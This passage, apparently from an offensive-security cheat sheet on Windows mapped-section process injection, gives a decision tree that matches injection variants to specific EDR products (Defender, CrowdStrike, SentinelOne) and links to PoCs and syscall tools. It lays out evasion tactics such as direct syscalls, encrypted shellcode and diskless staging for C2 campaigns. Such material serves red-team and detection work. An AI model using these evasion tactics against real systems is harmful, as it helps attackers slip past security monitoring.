RtlCreateUserThread → Thread in remote process (softer IOC)
EDR sees:
Section creation → softer IOC
Local view mapping → legitimate-looking
Remote view mapping → IOC (known pattern now)
Thread in remote process → IOC (same as before)
→ Different PATTERN — bypasses rule-based detection tuned to classic injection
Decision Tree — Which Variant to Use?
Target environment?
│
├─ CTF / Lab (no AV/EDR):
│ → T1 (CreateFileMapping + MapViewOfFile + CreateThread) — fastest
│
├─ Windows Defender only:
│ → T4 (NTAPI split view) + T5 (callback instead of CreateThread)
│ → Encryption on shellcode bytes
│
├─ Defender ATP / MDE:
│ → T4 + T5 + SysWhispers3 (direct syscalls)
│ → Dynamic API resolution (no import table strings)
│ → Use rare callback API (CryptEnumOIDInfo, ImmEnumInputContext)
│
├─ CrowdStrike Falcon:
│ → T5 or T6 (callback/APC execution) + direct syscalls
│ → NtMapViewOfSectionEx path (MapViewOfFile3) — less telemetry
│ → Module-backed shellcode if possible (dll hollowing + section)
│
├─ SentinelOne:
│ → T10 (instrumentation callback variant)
│ → Direct syscalls for all NT calls
│ → APC execution (NtQueueApcThreadEx special user APC)
│
├─ Custom C2 development:
│ → T9 (NtMapViewOfSection remote, RW+RX) as injection primitive
│ → T5 (callback execution) for local execution
│ → Rotate techniques per-campaign
│ → Integrate with sleep encryption (decrypt → map → execute → encrypt)
│
└─ Maximum OPSEC:
→ NtCreateSection + NtMapViewOfSection (RW+RX split)
+ Unmap write view after copy
+ SysWhispers3 direct syscalls for all NT calls
+ CertEnumSystemStore or NtQueueApcThreadEx for execution
+ AES-encrypted shellcode (decrypt at last moment into RW view)
+ Named pipe or network staging (shellcode never on disk)
References & Resources
Primary Implementations: - antonioCoco/Mapping-Injection — https://github.com/antonioCoco/Mapping-Injection (definitive PoC) - Weaponizing Mapping Injection — https://splintercod3.blogspot.com/p/weaponizing-mapping-injection-with.html (instrumentation callback variant) - TrustedSec — Mapped Sections — https://trustedsec.com/blog/malware-series-process-injection-mapped-sections
MSDN / Official Documentation: - CreateFileMapping — https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createfilemappinga - MapViewOfFile — https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-mapviewoffile - MapViewOfFile2 — https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-mapviewoffile2 - MapViewOfFile3 — https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-mapviewoffile3 - Section Objects and Views — https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/section-objects-and-views
Research & Further Reading: - ired.team NtCreateSection+NtMapViewOfSection — https://www.ired.team/offensive-security/code-injection-process-injection/ntcreatesection-+-ntmapviewofsection-code-injection - Cobalt Strike process injection details — https://www.cobaltstrike.com/blog/cobalt-strikes-process-injection-the-details-cobalt-strike - NTAPI Undocumented Functions — http://undocumented.ntinternals.net/ - MappingInjection C# port — https://github.com/Kara-4search/MappingInjection_CSharp - ProcessInjectionTechniques labs — https://offensive-panda.github.io/ProcessInjectionTechniques/
Tools: - SysWhispers3 — https://github.com/klezVirus/SysWhispers3 (direct syscall codegen) - Moneta — https://github.com/forrest-orr/moneta (mapped section IOC scanner) - Pe-Sieve — https://github.com/hasherezade/pe-sieve (process memory scanner) - ThreatCheck — https://github.com/rasta-mouse/ThreatCheck (AV trigger finder) - Hell's Gate — https://github.com/am0nsec/HellsGate (dynamic syscall resolution)